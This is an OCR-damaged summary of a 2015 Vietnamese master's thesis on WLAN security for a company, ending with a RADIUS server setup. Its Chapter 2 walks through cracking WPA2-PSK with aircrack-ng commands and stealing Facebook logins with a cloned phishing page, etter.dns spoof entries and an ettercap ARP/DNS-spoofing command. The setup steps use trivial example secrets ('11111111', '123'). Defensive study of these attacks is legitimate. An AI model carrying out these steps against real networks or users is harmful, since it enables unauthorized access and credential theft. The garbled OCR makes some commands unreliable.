BO GIAO DUC VA PAO TAO
PAI HOC PA NANG

XAY DUNG HE THONG BAO MAT MANG
WLAN PHUC VU KINH DOANH
TAI CONG TY SAI GON HT

Chuyén nganh: KHOA HQC MAY TiNH
Mai s6: 60.48.01.01

TOM TAT LUAN VAN THAC ST KY THUAT

Pa Niing — Nim 2015




Cong trinh dugc hoan thanh tai
DAI HOC PA NANG

Neudi huéng din khoa hoc: PGS.TS. PHAN HUY KHANH

Phan bién 1: TS. HUYNH CONG PHAP

Phan bién 2: PGS.TS. TRUONG CONG TUAN

Luan van s€ dugc bao vé trudc Hoi déng chdm Luan vian tt nghiép
thac si ky thuat hop tai Pai hoc Pa Niang vao ngay 17 thang 08 nim
2015.

Co thé tim hiéu ludn vin tai:
- Trung tdm Thong tin-Hoc liéu, Pai hoc Pa Nang
- Thu vién trudng Pai hoc Bach Khoa, Pai hoc Pa Nang




MO PAU

1. Tinh cép thiét caa dé tai

Vai nim gan déy, cong nghé thong tin nuwdc ta phat trién mot
cach vuot bac, dat biét 1a cong nghé mang khong day wifi. Nhiing
thuan loi ctaa mang khdng day nhu tinh linh déng, hiéu qua va kha
ning mé rong rat linh dong so véi mang c6 day.

Bén canh nhitng thuan lgi d6, mang khdng day ¢6 nhiéu nhugc
diém can duoc khic phuc nhu do truyén bang song dién tir nén co
kha nang bi nhiéu cao, téc do truyén kém, hon nira mang khéng day
rat d& bi tan cong vi do cac thong tin dwoc truyén trong khdng khi
nén dé bj bat duoc.

Theo thng ké so bo cua cong ty Sai Gon HT cho thiy di co
rat nhiéu cudc tan cong nhiam vao mang ndi bo cua cong ty, gay ra su
ngh&n mang, khong vao duoc mang, mit cac dir liéu mat va nhay
cam cuia cong ty ciing nhu khach hang, vai thang gan day cac hoat
d6ng tin cong ngay cang tinh vi hon, hiéu qua hon, gay ra nhiéu thiét
hai hon so véi lac ban dau.

Hon nita ¢6 nhiéu cudc phan anh cua khach hang khi choi
game online tai cong ty khi dang udng nudc giai khat 1a bi mat tai
khoan game, gay mat mat rat nhiéu cac dung cu trén game online.

C6 rat nhiéu thu rac duoc goi dén céc tai khoan mail cua khac
hang khi dang nhap tai cong ty trong khi khach hang dang giai tri.

Tat ca cAc van dé do da phan 1a do co ché bao mat cua cong ty
khong duoc tot, 1am giam sy uy tin cta cong ty ddi véi khach hang,
ddng thoi giam s6 lwong céc san pham dwoc ban ra, lam ting nguy
co thua 16 cua cong ty.

Do d6 em da dé& xuit d& rai “Xay dwng hé thong bdo mat
mang WLAN phuc vu kinh doanh tai cong ty Sai Gon HT”.



Muc dich ctiia em xay dung hé théng bao mat mang cho cong
ty nhiam bao mat hé thdng dit liéu va cac thdng tin quang trong tranh
duoc nhirng sy rui ro do tinh chit bao mat mang kém cua cong ty
lam anh huong dén loi nhuan ciing nhu uy tin cta cdng ty véi khach
hang.

2. Muc tiéu va nhiém vu cia dé tai

- Nghién ctru céc thanh phan co ban cia mang WLAN.

- Nghién ciu cac cac phuwong thuc thiét lap va truy cap
WLAN.

- Nghién ctru cac phuong phap tin cong va bao mat mang
WLAN.

- Xay dung h¢ thong bao mat mang WLAN cho cong ty.

- Chéng céc xam nhap bat hop phép tir bén ngoai vao hé thng
mang.

3.Péi twgng va pham vi nghién ciru

Déi twong cua dé tai nghién ctu 1a nghién ciru cac co ché hoat
dong cia mang WLAN, nghién ciru cac phuong phéap tan cong va
cac giai phap bao mat, trén co s¢ d6 xay dung mot hé théng bao mat
t5t nhét cd thé cho cong ty.

4. Phwong phap nghién ciru

Dua trén hé thong windows server ciia Microsoft ta xay dung
hé théng bao mat Radius Server. Cau hinh va két ni AP dé kiém tra
tinh niang bao mat caa hé thong. Dong thoi xem xét cac kha nang tan
cdng c6 thé khi xay dung ché a6 bao mat dira trén hé thong nay.

5.Y nghia khoa hoc va thyc tién cia dé tai

- Gilip ta hiéu 15 hon vé md hinh mang WLAN.

- Hiéu rd hon vé cach van hanh khai thac WLAN.

- Hiéu 15 hon vé cé4c céc tan cong va bao mat mang WLAN



- Gilp ta phong tranh hiéu qua cac vin d& vé bao mat mang
WLAN.

- Xay dung duoc mot hé thong mang WLAN an toan hon cho
cong ty.

- C6 ung dung cao trong thuc tién.

6. Dw kién két qua

- C6 thé hach duoc wifi cd ché do bao mat WPA2.

- Sau hack duoc password wifi ta co thé ldy password
facebook.

- Cai dat duoc thuc té co ché bao mat Radius Server

- Quan ly duoc céc tai khoan truy cap vao mang WLAN.

7.CAu tric cha luan vin

Noi dung trinh bay luin vin ctia em dwgc bd cu nhu sau:

Chuong 1:Trinh bay tong quan vé mang WLAN, cac wu diém
nhuogc diém cia mang WLAN, cac phuong phap tin cong va bao mat
hé théng WLAN.

Chuong 2:Trinh bay Demo cach tan cong lay pass mang wifi
bio mat WPA2 bing phwong phap do tir dién va cach liy pass
facebook bang cach cach sir dung DNS gia mao.

Chuong 3:Trinh bay vé co ché hoat dong va cach cau hinh giai
phéap bao mat Radius Server nham wng dung bao mat mang cho cong
ty sai gon HT.



CHUONG 1
GIGI THIEU VE MANG KHONG DAY WLAN

1.1. GIGI THIEU TONG QUAN VE MANG WLAN

1.1.1. Gi6i thiéu vé WLAN

Mang WLAN la mang Lan khong ddy, ding dé két ndi nhiéu
may tinh lai v6i nhau ma khong can dén day dan, méi trudng truyén
dan ciia mang WLAN la khong khi, va sir dung song vo tuyén dé
truyén va truyén theo moi huéng trong khong gian.

1.1.2. Uu diém ciia WLAN

Sw thuan tién: Cac client c6 thé di chuyén tu do trong ving
pha séng mang WLAN. Tang cuong s6 luong client két ndi mang
mot cach nhanh chéng bang cach thém cac AP.

1.1.3. Nhuge diém ciia WLAN

Bao mat: Cac SSID duoc quang ba khong duoc mé hda nén rét dé b
bét duoc va néu ¢ password cd thé xam nhap vao mang dugc.

Pham vi: Pham vi hoat dong chi ¢ ban kinh trong vai chuc mét.

Do tin cay: C6 thé bi nhiéu, chap chon do méi truong.

Téc do: Toe do cua mang WLAN cham hon so véi mang cd day.
1.2. CAC PHUONG PHAP TAN CONG WLAN

Céc phuong phap tan cdng mang phd bién hién nay:

1.2.1. Passive Attack

La phuong phép tin cong don gian, khong dé lai dau vét, 1a
phuong phéap tin cong gian tiép cho cac cudc tan cong khac. N6 c6
thé 13y thong tin khi truyén trong khong khi ma khong duwgc ma héa.
Néu ldy duoc tai khoan thi dira vao d6 hacker co thé tin cong vao hé
thdng mang may tinh.

1.2.2. Active Attack

Tan cong chu dong 1a tan cong duoc thy hién sau khi co dugc



tai khoan diang nhap duoc vao mang va sau do6 thuc hién cac cudc tan
cdng vao hé thong mang, hoic cha chong dong xam nhap dé lay cac
account, password rdi tir co s d6 tan cong cac hé thong khéac trong
mang WLAN, hoic céc hé théng khac.

1.2.3. De-authentication Attack

Muc dich cua kiéu tin cong xac thuc lai 1a nham muc dich gay
ngh&n mang khi c6 qua nhiéu yéu cau xac thyc.

Khi mot may muon tham gia vao mang thi né phai qua mot
qué trinh xac thuc d6i v6i AP. Khi attacker tham gia dwoc vao mang
ctia hé thong thi ho s& c6 duoc dia chi quang ba goi la broadcast. Ho
s& sir dung dia chi ndy ma goi thdng tin De-authentication dén tt ca
cac node mang trong AP va yéu ciu cac node mang nay xac thuc lai.
Céac node mang nay s& chiap nhap thong diép xac thuc lai ma khéng
nghi ngd gi vé tinh chét xac thuc cua yéu cau xac thuc lai kia 1 co
phai duoc goi dén tir AP hay khong.

Sau d6 cac node sé tién hanh xac thuc va reconet.

Dé lam ngh&n mang hé thong, attacker tién hanh phat tan lién
tuc cac thong diép xac thuc dén cac node trén mang.

Viéc cac node dong loat xac thuc va reconet s& lam nghén hé
thong mang WLAN, din dén khdng truy cap duoc vao mang, té liét
hé thong.

1.2.4. Rogue Access Point

a. Gigi thiéu

Access point gia mao la cac AP dugc tao ra nhung khong phai
la cac AP c6 trong thiét ké cuia hé thdng mang.

b. Phén logi

- Access Point dugc cau hinh khdng hoan chinh.

- Access Point gia mao tir cac mang WLAN Ian can.



- Access Point gia mao do ké tan cdng tao ra.

- Access Point gia mao duoc thiét 1ap bai chinh nhan vién cua
cong ty.

1.2.5. Disassociation Flood Attack

Tan cong Disassociation Flood Attack la kiéu tan cong nham
ngat két ndi tir AP dén cac may client.

1.2.6. T4n cong dua trén sy cim nhén soéng mang 16p vat ly

Nguyén ly ciia phuong phap tan cong nay la 1am cho cac may
tinh lubn ludn trong trang thai cho khi attacker goi xong dir li¢u trén
duong truyén.

1.2.7. Jamming Attack

Muc dich cua tin cong chén ép 1a dé 1am shut down hé théng
mang WLAN cua hé thong. Céc attacker st dung bd phéat séng RF ¢
tan s6 cao, hay tring véi tan s cia mang WLAN duoc phét ra 1am
gay nhiéu cac tin hidu song truyén trong mang WLAN.

Céc node bén ngoai khdng thé truy cap vao AP nguyén nhan la
do séng truyén giit AP va cac node bj nhidu.

Mudn xur ly tin cong chén ép nay, ta phai sir dung may phan
tich phd (méay cam tay cho tién) dé xem c6 viing séng nao cé cuing
tan s6 véi song WLAN dang phat hay khong, tir d6 xem no xuat phét
tir vi tri nao dé dua ra giai phap phong tranh hay sir ly.

Céc su nhidu song do céc thiét bi khéc cling tan sb thuong xay
ra la mot diéu kho tranh khoi. Vi xung quanh cd rat nhiéu thiét bi
dung chung tan s6 véi nhau. Do vay can phai quan ly tan sé mot cach
c6 hiéu qua, str dung cac tan sé ma it thiét bi sir dung dé tranh bi gay
nhiéu khong dang co, va tao sy thuan loi cho mang cong ty.

1.2.8. Man In The Middle Attack (MITM)

Tan cong MITM no6i don gian la c6 thé hiéu rang, giira hai



may tinh truyén thdng tin cho nhau trong mang, thi ké tan cong s&
két ndi vao hé thdng mang va dtng & gitta hai ngudi truyén thdng tin
véi nhau. Attacker sé relay cac tin cho ca hai bén, cac goi tin cua 2
bén s€ di qua may cua attacker.

Céc loai tin cong MITM

C6 ba loai tin cong MITM chu yéu 1a: gia mao ARP Cache,
gia mao DNS, chiém quyén diéu khién Session.

1.2.9. Dictionary Attack

Tan cong tir dién 1a phuong phap tan cong don gian nham tra
thir cac tur trong tir dién c6 phai 1a password hay khong, néu phai thi
ta c6 password con khong thi do tiép cho dén hét tir dién.

1.3. CAC GIAI PHAP BAO MAT WLAN

1.3.1. Vi sao lai phai bio mat WLAN?

Vi mang WLAN méi truong truyén trong 1a khong khi, do d6
¢6 nhiéu van dé nhu 1a dé bi lay dit liéu khi dang truyén, bi nghén, bi
nhidu song... Vi vdy can xay dung cac giai phap dé bao vé mang
WLAN tranh bi pha hoai bai bén ngoai.

Vi véy dé bao vé mang WLAN ta can phai chd y:

- C4c vi tri ma mang WLAN c6 thé bi xam nhap:

- Céc budc dé bao mat mang WLAN:

1.3.2. WEP

WEP c6 nghia la bao mat khong day twong dwong véi cé day.
Web str dung 64 bit hozc 128 bit lam khoa va khong thay doi, trong
d6 no6 da stir dung 24 bit cho viéc khai tao véc to ma hoa cho nén no
chi con lai 40 bit hodc 104 bit dwoc st dung dé truyén ma héa dit liéu
trong mang WLAN. Co ché bao mat WEP cd cac khoa rat dé dang bi
bé gdy baoi cac cong cu WEPCrack.



1.3.3. WLAN VPN

Mang riéng 4o duoc tao ra nham muc dich tao ra mot kénh
riéng 1& cho céc node mang truy cap co co ché bao mat cao nham
tranh sy xam nhap trai phép vao céac hé thdng mang.

1.3.4. TKIP

TKIP sir dung cac khoa dong bing cach dit cho mdi frame
mot chudi sb riéng dé chdong lai cac dang tan cong gia mao. NO la
mot nang cip cia WEP va vé céc 13i ctia nhitng van dé vé cach bao
mat do dong RC4 trong WEP tao ra.

1.3.5. AES

AES la mot thuat toan ma hoa khéi, thuat toan nay duoc chinh
pha Hoa Ky &p dung lam tiéu chuan ma hoa, no dwoc nghién ciru rat
k¥ ludng nham muc dich 1a ap dung trén pham vi toan thé gidi.

1.3.6. WPA

WPA duoc ra doi khi cdng nghé WEP c6 nhiéu 16i hong, dé
dang bi xam nhap va phé hoai, nghe 1én, liy cip dir liéu. N6 khic
phuc dwoc nhidu nhuoc diém ciia WEP. Sir dung thuat toan TKIP va
CR4, ma hoa dy du 128 bit va co cac khoéa dugc thay ddi lién tuc.
N6 ¢6 co ché kiém tra toan ven thong tin dé dam bao thong tin khéng
bi stra di trén duong truyén.

1.3.7. WPA2

WPA2 sir dung ma hoa AES va CCMP nham thay thé cho
TKIP. TKIP van dugc sir dung cho phuong 4n du phong. Attacker
can c6 thoi gian tir 6 dén 12 gior dé pha password WPA2 nay. WPA2
can khéa chire ning WPS.

Ta c6 cac chuan bao mat wifi, dwoc xép tir cao dén thap:

- WPA2 + AES.



- WPA + AES.

- WPA + TKIP/AES

- WPA + TKIP.

- WEP.

- Mang m¢, khdng mé khoa.

1.3.8. Loc (Filtering)

Loc 1a co ché ta cho phép bt cir théng tin ta mong muén duoc
di vao va ngin chin cac thong tin khéng mong muén di vao bén
trong mang. NG hoat dong giong nhu co ché cua Access list trén
router. C6 rat nhiéu kiéu loc nhu loc ip, loc giao thirc, loc SSID, loc
dia chi MAC. Dudi day la cac cach loc co ban trong wireless lan:

- Loc SSID: Muc dich 1 an cac SSID.

- Loc giao thirc: Loc céc giao thirc cua cac goi tin di tur I6p 2
dénlop 7.

- Loc dia chi MAC: cho phép cac client ¢6 dia chi MAC mong
mudn di qua hodc ching cac client c6 dia chi MAC khéng mong
muan.
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CHUONG 2
DEMO TAN CONG VAO MANG KHONG DAY WLAN CcO
BAO MAT LA WPA2-PSK

2.1. DEMO TAN CONG MANG

O day em xin trinh bay demo cach tan cong liy password truy
cap wifi va tai khoang facebook dé chirng minh riang hé théng bao
mat ndy van con c6 thé bi tin coéng duoc bing cdng cu
BACKTRACK 5. ) .

2.1.1. Bé khoa méat khau mang wifi chuaAn WPA2-PSK va AES

bing phwong phap Dictionary Attack.

Sau dy em xin ding b cdng cu Aircrack-ng dé bé khda mang
duoc bao mat béi co ché WPA2-PSK va AES.

Pay la cac 1énh cua viéc tin cdng va cong dung cua né trong
demo tan cong nay.

airmon-ng: Dung dé chuyén card wireless sang dang monitor
(ché @6 nghe ngdng va ghi nhan tin higu).

airodump-ng: Dung dé phat hién ra WLAN va bét cac goi dir
liéu (packet capture).

aireplay-ng: Tao ra dong tin hiéu.

aircrack-ng: Tim ra mad khéa WPA2.

Muc dich cua viéc nay la lang nghe cac dir liéu trén duong
truyén, va luu co ché bit tay vao 1 file. Sau d6 dung file nay véi mot
cudn tir dién dang “*. TXT” dé do cac password c6 kha ning. Viéc do
tir dién nay trung binh thuong tir 6 dén 12 tiéng, néu c6 ki tu dat biét
thi do rat kho dugc.

Sau day la cac budc tin cong mot mang wifi.

Cdc bwoct thuc hign
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Buréc 1: Dé thu nhan céc tin hiéu trén mang WLAN, ching ta
sir dung lénh airmon-ng dé dua card WLAN vao ché d6 monitor.
Sau d6 tiép tuc véi lénh airmon-ng start WLANO dé khoi dong lai
adapter & ché d6 monitor.

Muc tiéu cua ching ta 12 tin cong cac AP ¢6 co ché bao mat 1a
WPA2. Do d6 chiing ta can tim cac AP c6 co ché bao mat WPA2 va
cac dia chi méc cua céc client két ndi dén no. Biéu nay rat quan trong
néu tim khong duoc may client két ndi dén AP thi chung ta khong
thé tan cong dugc va sau khi da tim dwgc ching ta sir dung cach tan
cdng ARP replay dé tao ra dong dit liéu can thiét.

Ching ta can ¢ ba thong tin dé bét du dong dit liéu, tao diéu
kién cho aircrack hoat déng: dia chi MAC/BSSID cua AP muc tiéu,
dia chi MAC/BSSID cuia may tram két ndi voi AP, kénh (channel)
dang duoc sir dung boi AP muc tiéu va may tram, bang cac sir dung
Iénh :airodump-ng mon0

Buée 2: Khai dong lénh airodump-ng dé thu thap thong tin
vé cac mang chuan bi tin cdng bang cach gb 1énh: airodump-ng —c
1 -w tan --bssid B0:48:7A:D5:57:92 --ivs mon0.

Buéc 3: Budc chay airodump-ng lan truée, airodump-ng --ivs
--channel [AP channel] --bssid [AP BSSID] --write capturefile
WLANO.

Céc files dit liéu bét duoc cling s€ duogc luu vao thu muyc gbec
froot va c6 dang capturefile_nn.ivsnn 1a hai con sd, vi du nhu
capturefile_01.ivs.

Buoc 4: Chay lénh aireplay-ng -3 -b [AP BSSID] -h [client
MAC from airodump] WLANO.

Lénh nay s& khai dong ARP lap lai d6i véi AP muc tiéu bang
cach gia mao dia chi MAC ciia STA két néi dén AP nay.
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Buoc 5: Panh 1énh aircrack-ng —b [AP BSSID] [capture
file(s) name]. Dong Iénh c6 chira déu sao (*) dé aircrack-ng sir dung
toan bo cac file Ivs bit dugc di dugc luu trén thu muc gbc Aircrack
s& bat dau luc loi trong sé nhitng goi dit liéu da bét dwge dé tim ra
khoa WEP.

Buéc 6: Chay lénh aircrack-ng —w pass. txt tan-01. cap dé
thuc hién Iy password.

Trong mot s6 trudng hop aircrack-ng s& két thic ma khong tim
thiy khoa, nhung dua ra cho ban mét s dé xuit ma ban cé thé lam
theo.

Dé tranh tin cong bang tir dién, can thiét 1ap password phai
manh (46 phirc tap cao). .

2.1.2. Lay account trang faceboo.com bing ky thuit gia mao
DNS

Sau khi di truy cap dwoc vao mang cua hé thng thi ching ta
s& dung dén phuong phap tan cong MITM ma cach ching ta sir dung
& day 1a gia mao DNS. Céch tan cong nay don gian nhung hidu qua
cao, néu ban biét viét duoc code cua website 1a mot thuan loi Ion
trong viéc tan cong nay.

Vi du: http:/Amw. microsoft.com c6 IP 207.46.232.182, thi ¢6 gang
nay s& duoc giri dén mot dia chi http:/Awww. microsoft.com gia mao cur tra
& dia chi IP 74.125.71.106, day 1a dia chi ma ké tan cong da tao tnrdc dé
danh cip cc thong tin tai khoan ngan hang tryc tuyén tir ngudi dung. Co
nhiéu cach dé cd thé thyuc hién van dé gia mao DNS. Chiing tdi s& sir dung
mot k§ thuat mang tén gia mao DNS ID.

Dau tién, ching ta cn gia mao ARP cache thiét bi muc tiéu dé
dinh tuyén lai luu lwong cua né qua host dang tan cdng caa minh, tir
d6 c6 thé chan yéu cau DNS va giri di goi dir liéu gia mao.
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Muc dich cua kich ban nay la ltra nguoi dung trong mang muc
tiéu truy cap vao website doc thay vi website ma ho dang c¢é ging
truy cap. Dé rd hon ban c6 thé tham khao thém hinh tan céng bén
dudi.

Cong cu d& ching ta c6 thé thuc hién moét cudc tan cong gia
mao DNS 12 Ettercap, nd cd thé sir dung cho ca Windows va Linux
truée khi thuc thi Ettercap, yéu can ban can phai thuc hién mét chit
cau hinh.

Trén linux ban cd thé theo duong dan /usr/share/ettercap/etter.dns
dé chinh stra lai file etter.dns, day 1a mot file kha don gian va c6
chtra c&c ban ghi DNS ma ban muén gia mao.

Chiing ta s& dwa ngudi ding nao dang cb gang truy cip vao
trang web www.facebook. com chuyén huéng dén mét trang Phising
duoc dung sin trén may ching ta.

Cdc bwoct thuc hign

Buréc 1: Khéi dong backtrack 5 va cdu hinh card mang, trong
backtrack5 ta thay do6i dia chi may cai backtrack 5 Ia;
IP:192.168.0.130/24, default gateway:192.168.0.1, tao dns la 8.8.8.8.

Bueéc 2: Sir dung Social Engineering Tookit dé gia mao trang
: www.facbook.com

Buée 3: Tiép theo ta chon cac muc sau dé tao ra trang web gia
mao, chon:

Social-Engineering Attacks =» Website Attack vectors =»
Credential Harvester Attack Method =» Site Cloner =» IP address for
the POST back in Harvester/tabnabbing : 192.168.0.130 (IP may tin
cong) = Enter the url to clone: www.facebook.com (Tén trang web
can tan cong ).
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Budc 4: Mo file etter.dns theo dwdng dan
Jusr/share/ettercap/etter.dns cdu hinh nhu sau va luwu lai file.

Facebook com A 192.168.0.130

* Facebook. com A 192.168.0.130

www. Facebook. com PTR 192.168.0.130

V6i 192.168.0.130 1a dia chi IP ciia may tan cong.

Buwée 5: Thyc hién tan cdng MITM biang Ettercap, cau hinh
ettercap theo tuan tu cac budc nhu sau:

Chay Iénh : #ettercap -T -q -iethO -P dns_spoof -M arp // //

Poi may nan nhan truy cap vao trang facebook. com gia mao
va dang nhap vao thi ta c6 duoc tai khoan cua nan nhan:

O day ta da thu duoc két qua mong mudn 1a tai khoan nan
nhan.

Vi cac bude don gian va khéng cd sy phong bi cta nan nhan,
céc hacker da 1ay duoc tai khoan kha dé dang.
2.2. KET QUA PAT PUQC

Ta di tin cong thanh cdng lay duoc password wifi va tai
khoan cua may client. Vi vay can phai ¢6 co ché bao mat manh hon
WPA2 dé cho hé théng mang ting cuong tinh bao mat.
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CHUONG 3
BAO MAT WLAN BANG PHUONG PHAP XAC THUC
RADIUS SERVER VA WPA2

3.1. VAN PE BAO MAT WLAN VA CAC GIAI PHAP

3.1.1. Giéi thi€u cong ty

Cong ty SAI GON HT la cong ty mua ban va bao hanh cac
thiét bi tin hoc gém c6 tat ca 12 35 nhan vién gom ké toan, nhan vién
ban hang, nhan vién bao hanh may tinh va céc thiét bi van phong, va
nhan vién bao vé. WLAN dung trong cac dich vy doanh giai tri nhu
xem phim, game online, ca phé wifi, vao internet.

3.1.2. Tinh hinh bdo mit mang WLAN hién nay ctia cong ty

Theo théng ké so bo cua cong ty Sai Gon HT cho thay di co
rat nhiéu cudc tan cdng nham vao mang ndi bo cua cong ty, gay ra su
ngh&n mang, khong vao duoc mang, mit cac dir liéu mat va nhay
cam cua cong ty ciing nhu khach hang, vai thang gan day cac hoat
dong tan cong ngay cang tinh vi hon, hiéu qua hon, gay ra nhiéu thiét
hai hon so voi cac thang trudc trudc.

3.1.3. Céc yéu ciu ciia gidi phap dé xuit

Vi viy can dua ra mét giai phap hiéu qua cho sy bao mat
mang cua cong ty. Mot co ché bao mat dwoc wng dung cho cong ty
phai dap ng c4c yéu cau sau ddy: vé tinh hiéu qua cua giai phéap, vé
chi phi cua giai phap, vé su van hanh va quan ly

Céac giai phap dé xuit cho viéc bao mat mang WLAN cua
cong ty

Qua qué trinh nghién cttu va phan tich cac hé théng bao mat
mang hién nay. Sau ddy em xin d& xuit mot sb giai phap cho viéc
bao mat mang cua coéng ty SAI GON HT: sir dung twong lira
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Firewall, st dung co ché bao mat WPA2-PSK va AES, giai phap
phat hién xam nhap mang IPS, giai phap xay dung mang riéng ao
VPN, giai phép xay dung RADIUS SERVER.

a. Nhén xét so' lwoc cac gidgi phdp dé xuat:

MJi giai phap dugc dua ra déu 6 uu diém va nhuoc diém cua
nd.Dua theo cac tiéu chi vé yéu cau giai phap ma chon phuong phap
hop I¢.

Giai phap RADIUS SERVER c6 cac uu diém ndi troi sau day:
Dé dang cai dat va quan ly, chi phi gia thanh ré, hoat dong lién tuc
24/24, bao tri va sira chira d& dang, c6 thé dung 1 RADIUS SERVER
c6 nhiéu AP.

b. Lua chen gidi phap

Vi nhitng wu diém vuot troi cua hé thong bao mat RADIUS
SERVER nén em di dé xuét xdy dung hé théng bao mat tét hon d6
chinh 1a sir dung hé thong bao mat RADIUS SERVER. Trong cac
hé théng bao mat WLAN & cdng ty vira va nhé thi hé théng bao mat
RADIUS SERVER c6 thé néi Ia tét nhat hién nay, va dén bay gio
chwa co giai phap phap nao thay thé dugc giai phap nay.

3.2. GIOI THIEU TONG QUAN VE RADIUS SERVER

Sau day em xin gigi thiéu vé cach thuc cia RADIUS hoat dong, va
viéc chay may chi RADIUS dé hé trg cho viéc xac thuc WLAN ¢
nhitng wu diém gi hon so véi viéc xac thuc khéng c6 méy chi.

3.2.1. X&c thuc, cap phép va kiém toan

C6 kha niang cung cip xac thuc tap trung, cip phép va diéu
khién truy cap. cho cac phién lam viéc véi SLIP va PPP Dial-up —
nhu viéc xac thuc ctia cac nha cung cap dich vu ISP.

Server nay c6 kha ning tap trung lai thanh mot diém duy nhat
cuia tit ca céc dit lidu, thong tin nguoi dung, va cac diéu kién dé truy
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cap duoc va hé thong mang.

Sau khi dang nhap thi s& c6 yéu cau truy cap théng qua mot
port dugc xac dinh do may chu.

May chii s& kiém tra thong tin trong co s& dit liéu, néu dung
thi duoc dang nhap, con khong thi thoat.

Khi thong tin duoc may chu kiém tra thoa mén thi n6 cho phép
truy cap mang vai thiét ké bao mat danh riéng cho tai khoan do.

Khi c6 két ni thi bo dém cua RADIUS s& dugc thiét l1ap cho
cac phién lam viéc. Cudi cung khi két thic phién lam viéc NAS goi
thong diép ngung két ndi véi phién 1a RADIUS Accounting-Request
(Stop) dé giai phong bang thong trén duong truyén mang.

3.2.2. Sw bdo méit va tinh mé rong

Cac thong diép message type, sequence number, length,
Authenticator, va mot loat cac Attribute-Value duoc dong goi bang
giao thirc UDP.Céc password trong khi trao d6i dwgc ma héa. NAS
va AAA Server 13 st dung Authenticator dé hiéu duoc céc thong tin
da duge ma hoa nhu mat khau, cac khoa.

Céc s6 ngau nhién, cac thong diép phan hoi, cac thdng s6 bao
mat s& dugc MD5 bam dé tao thanh cac chudi ma héa khac nhau cho
qué trinh xéc thuc, nham tang do phic tap.

Trong céc cap doi gia tri Attribute-Value pairs né bao gom cac
User-Password, NAS-IPAddress, NAS-Port, Service-Type. Cac nha
san Xuét ciing c6 thé dinh nghia cac cac gia tri riéng nay nham dé
mang cac thong tin ctia minh.

3.2.3. Ap dung RADIUS cho WLAN

Trong qua trinh xéac thuc, théng tin yéu cau két ndi s& duoc goi
di dén AP. Cac thong tin nay duoc goi dén AAA server. Néu cac AP
nhan dugc thong diép chip nhan truy cap tir AAA server thi s& cho
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client két ndi. Céac thong tin duoc truyén s& duoc méi hda bsi AES
hozc TKIP. Nguoc lai thi client s& bi ngat két ndi voi AP.

Khi cac dir liéu duoc truyén trén duong truyén tir may tram
dén cac AP khac thi cac may tram khéc c6 thé bat duoc cac goi tin
trén dudng truyén do. Do vay can phai ma hda dit liéu dé bao dam
tinh bao mat truéc khi truyén trén duong truyén dén AP hodc dén
tram.

3.2.4. Cac Iya chon nang cp

Trong may chi RADIUS server ban can phai thiét lap mot
may chu AAA dé hd tro interaction trong qué trinh xac thuc cua
WLAN. Can cap nhat cac phién ban phin mém cho server. Néu hé
thdng c6 nhiéu AP thi can sir dung RADIUS dé quan ly tap trung,
diéu nay kho khan khi thyc hién trén hé thong 16n.

Can st dung két hop céc giai phap bao mat cho WLAN.

3.2.5. Chiing ta s€ lIra chon may chit RADIUS hgp Iy :

Can phai lya chon cac RADIUS server phii hop véi cac yéu cau
cua doanh nghiép V& gia ca, tinh bao mat, tinh d& quan Iy va hiéu qua.
3.3.MO TA TONG QUAN HE THONG RADIUS SERVER

Do sy phat trién ciia mang WLAN, nén cac sy bao mat va tin
cong dbi véi mang WLAN ciing phat trién theo do.

Céc yéu cau ciia RADIUS SERVER

- Yéu cau:

Cai cdu hinh RADIUS server trén Window Server 2003, tao
user va password cho céc client du dinh tham gia vao mang. Trén TP
Linksys, thiét dat security mode 12 WPA2-Enterprise. Cho PC tham
gia vao mang, kiém tra két néi.

- Thiét bi yéu cau:

Mot PC lam RADIUS SERVER duoc nang cap Domain
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Controller va st dung hé diéu hanh windows Server 2003 Enterprise
Edition. Mot PC st dung diéu hanh XP Professional Iam client,
3.4.QUY TRINH CAI PAT VA KET NOI

3.4.1. Cac budrc cai dat

Buoc 1: Cai DHCP

Vao Control panel =» Add/remove program =» Add/remove
Windows components =» Networking Services = Chon M Dynamic
Host Configuration Protocol (DHCP) =» Chon OK

Buoc 2: Cai Enterprise CA

Control panel =» Add/remove program =» Add/remove
Windows components =» Certificate services = Chon M Certificate
Services CA va Chon M Certificate Services Web Enrollment
Support = Chon OK (Trong qua trinh cai dit nhé chon ludn IIS dé
dang Web Enrollment Wizard). Trong cac wizard tiép theo ta chon
“Enterprise root CA” va dat tén cho CA nay la “wifi”.

Buoc 3: Cai Radius

Vao Control panel =» Add/remove program =» Add/remove
Windows components =» Networking Services = Chon M Internet
Authentication Service.

Bueéc 4: Chuyén sang Native Mode

Pé diéu khién truy cap cua user qua Remote Access Policy.
M¢& Active Directory Users and Computers Console tir thu muc
Administrative Tools, click phai chudt vao tén server va chon “Raise
domain Functional Level”

Buoc 5: Cdu hinh DHCP

Mo DHCP Console tir the muc Administrative Tools, bam
phai chudt vao tén server va chon “Anthorize” dé ding ky véi DC.
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Tao mot Scope co6 tén la “wifi”. Scope range:
192.168.0.120/24 =» 192.168.0.150. Lease Duration: 2 ngay. Default
Gateway: 192.168.0.1. DNS Server: 192.168.0.101, 8.8.8.8.

Burée 6: Cdu hinh Radius

Chon IAS Console =» Internet Authentication Service (Local)
va chon "Register Server in Active Directory” =» Chon RADIUS
Client = chon "New RADIUS Client™: nhap bia chi IP va Secret
key.

O "Client-Vendor" & "RADIUS Standard" va Shared Secret
la“11111111” (phai trung vai shared key trén AP).

Buéc 7: Tao users, cap quyen Remote access cho users va cho
computer

M¢& Active Directory Users and Computers Console tir thu
muc Administrative Tools: ta tao 1 OU “wifi”, trong OU nay ta tao 1
user “Userl”, password 1a “123”, ta tao tiép 1 computer co tén Ia
“WirelessClient”, cling trong OU “wifi” ta tao 1 group “wifil”, cac
thanh vién cta group nay la: “WirelessClient” va user “Userl”. Vao
User account =» Dial-in Tab =» & muc Remote Access Permission
chon “Control Access through Remote Access Policy” dé quan ly
viéc ra vao cua User qua IAS.

Buroc 8: Tao Remote Access Policy

Ma IAS Console tuir thuw muc Administrative Tools = Remote
Access Policies = New Remote Access Policies. Pat tén cho Policy
nay la “wifi”, access mode la “Wireless”. Ta chon phuong thirc Xac
thuc cho policy nay la PEAP =» Finish.

Bueéc 9: Cdu hinh AP va khai béo dia chi may RADIUS

M¢ |IE = Trén thanh Address Bar ta gd vao 192.168.0.1 (dé
vao cau hinh AP) = Chon Tab Wireless = Tab Wireless Security
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3.4.2. Két ndi tir client dén AP

Ta khoi dong Radius server va AP. Tiur Wireless Client ta dang
nhap véi user name 1a “Userl”, password “123”. Trén Radius Server,
ta vao Administrative Tools =» Event Viewer =» Security.
3.5.QUAN LY USERS, GROUPS

3.5.1. Quan Iy cac users

